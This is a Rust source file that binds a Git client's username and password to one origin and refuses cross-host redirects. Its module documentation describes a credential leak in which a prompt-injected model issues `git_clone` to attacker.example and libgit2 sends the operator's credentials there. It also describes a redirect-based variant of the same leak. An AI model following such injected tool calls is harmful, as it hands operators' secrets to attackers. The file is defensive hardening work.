Skip to main content

netget/client/git/
credentials.rs

1//! Where this client's `username` / `password` may go.
2//!
3//! The credentials are startup parameters — the forge password or token the operator gave
4//! this client for the repository it was opened on. libgit2 asks for them through a
5//! callback that names the remote's URL, and until September 2026 the callback ignored
6//! that URL: `git_clone`, `git_fetch` and `git_pull` are open to the model (only pushes are
7//! gated by `allow_remote_writes`), so a model answering a prompt-injected
8//! `git_clone {"url": "https://attacker.example/x.git"}` met a 401 there and libgit2
9//! posted the operator's credentials to it.
10//!
11//! A [`CredentialScope`] binds the pair to one origin — the `scheme://host[:port]` of the
12//! client's `remote_addr`, or of the opened repository's `origin` remote when
13//! `remote_addr` is a local path — and the callback refuses, by name, to offer them to any
14//! other. A client whose credentials cannot be bound to a host offers them nowhere.
15//!
16//! The URL libgit2 hands the callback is the remote's *original* URL, not the server it is
17//! talking to after a redirect, so the callback alone cannot see a redirect to another
18//! host: a bound forge answering 302 to `attacker.example` would have the attacker's 401
19//! answered with the operator's credentials. [`fetch_options`] and [`push_options`] are
20//! therefore the only way this client builds options for a network operation, and both
21//! set [`RemoteRedirect::None`]: libgit2 then refuses a redirect to any other host,
22//! before connecting to it. libgit2 compares hosts only, so a redirect to another port or
23//! path on the same host is still followed; the credential then reaches a server on the
24//! host the operator bound it to.
25
26use git2::{Cred, FetchOptions, PushOptions, RemoteCallbacks, RemoteRedirect};
27use tracing::warn;
28
29/// A username/password pair and the one origin it may be offered to.
30#[derive(Debug, Clone)]
31pub struct CredentialScope {
32    pub username: String,
33    pub password: String,
34    /// `scheme://host[:port]`, as [`remote_origin`] renders it.
35    pub origin: String,
36}
37
38impl CredentialScope {
39    /// Bind `username`/`password` to the origin of `remote_url`. `None` when either half
40    /// is missing or the URL names no host — a local path, for instance.
41    pub fn bind(
42        username: Option<&str>,
43        password: Option<&str>,
44        remote_url: Option<&str>,
45    ) -> Option<Self> {
46        let (username, password) = (username?, password?);
47        let origin = remote_origin(remote_url?)?;
48        Some(Self {
49            username: username.to_string(),
50            password: password.to_string(),
51            origin,
52        })
53    }
54
55    /// Whether `url` is on this scope's origin.
56    pub fn allows(&self, url: &str) -> bool {
57        remote_origin(url).as_deref() == Some(self.origin.as_str())
58    }
59}
60
61/// `scheme://host[:port]` of a Git remote URL, host lowercased, userinfo dropped.
62///
63/// Handles the URL forms (`https://`, `http://`, `git://`, `ssh://`) and the scp-like
64/// `user@host:path`, which is `ssh://host`. A local path, `file://` URL or anything without
65/// a host is `None`: it names no peer to send a credential to.
66pub fn remote_origin(url: &str) -> Option<String> {
67    if let Some((scheme, rest)) = url.split_once("://") {
68        let scheme = scheme.to_ascii_lowercase();
69        if scheme == "file" {
70            return None;
71        }
72        let authority = rest.split('/').next()?;
73        let host_port = authority.rsplit('@').next()?;
74        return normalise_host_port(&scheme, host_port);
75    }
76    // scp-like: `git@github.com:owner/repo.git` — a colon before any slash, and no
77    // drive-letter or absolute-path shape.
78    let colon = url.find(':')?;
79    let slash = url.find('/').unwrap_or(usize::MAX);
80    if colon == 0 || slash < colon || url.starts_with('.') {
81        return None;
82    }
83    let host = url[..colon].rsplit('@').next()?;
84    // `C:/repos/x` is a drive, not a host: git treats a one-letter prefix the same way.
85    if host.is_empty() || host.len() == 1 || host.contains(char::is_whitespace) {
86        return None;
87    }
88    Some(format!("ssh://{}", host.to_ascii_lowercase()))
89}
90
91fn normalise_host_port(scheme: &str, host_port: &str) -> Option<String> {
92    let (host, port) = if let Some(rest) = host_port.strip_prefix('[') {
93        let end = rest.find(']')?;
94        let host = &rest[..end];
95        let port = rest[end + 1..].strip_prefix(':');
96        (format!("[{host}]"), port)
97    } else {
98        match host_port.rsplit_once(':') {
99            Some((h, p)) if p.bytes().all(|b| b.is_ascii_digit()) => (h.to_string(), Some(p)),
100            _ => (host_port.to_string(), None),
101        }
102    };
103    if host.is_empty() {
104        return None;
105    }
106    let host = host.to_ascii_lowercase();
107    let default = match scheme {
108        "http" => Some("80"),
109        "https" => Some("443"),
110        "git" => Some("9418"),
111        "ssh" => Some("22"),
112        _ => None,
113    };
114    match port {
115        Some(p) if Some(p) != default && !p.is_empty() => Some(format!("{scheme}://{host}:{p}")),
116        _ => Some(format!("{scheme}://{host}")),
117    }
118}
119
120/// The libgit2 callbacks for one network operation: credentials offered to the scope's
121/// origin and refused everywhere else. With no scope, nothing is offered and libgit2
122/// reports the server's 401 as it is.
123pub fn remote_callbacks(scope: Option<&CredentialScope>) -> RemoteCallbacks<'static> {
124    let mut callbacks = RemoteCallbacks::new();
125    if let Some(scope) = scope {
126        let scope = scope.clone();
127        callbacks.credentials(move |url, _username_from_url, _allowed_types| {
128            if scope.allows(url) {
129                Cred::userpass_plaintext(&scope.username, &scope.password)
130            } else {
131                let asked = remote_origin(url).unwrap_or_else(|| url.to_string());
132                warn!(
133                    "Git client refused to offer its credentials to {} (bound to {})",
134                    asked, scope.origin
135                );
136                Err(git2::Error::from_str(&format!(
137                    "this client's credentials are bound to {} and are not offered to {}; \
138                     open a client for that host if you mean to authenticate there",
139                    scope.origin, asked
140                )))
141            }
142        });
143    }
144    callbacks
145}
146
147/// Options for a fetch or clone: [`remote_callbacks`] for `scope`, and no redirect to
148/// another host (see the module documentation for why the callback alone is not enough).
149pub fn fetch_options(scope: Option<&CredentialScope>) -> FetchOptions<'static> {
150    let mut options = FetchOptions::new();
151    options.remote_callbacks(remote_callbacks(scope));
152    options.follow_redirects(RemoteRedirect::None);
153    options
154}
155
156/// Options for a push: [`remote_callbacks`] for `scope`, and no redirect to another host.
157pub fn push_options(scope: Option<&CredentialScope>) -> PushOptions<'static> {
158    let mut options = PushOptions::new();
159    options.remote_callbacks(remote_callbacks(scope));
160    options.follow_redirects(RemoteRedirect::None);
161    options
162}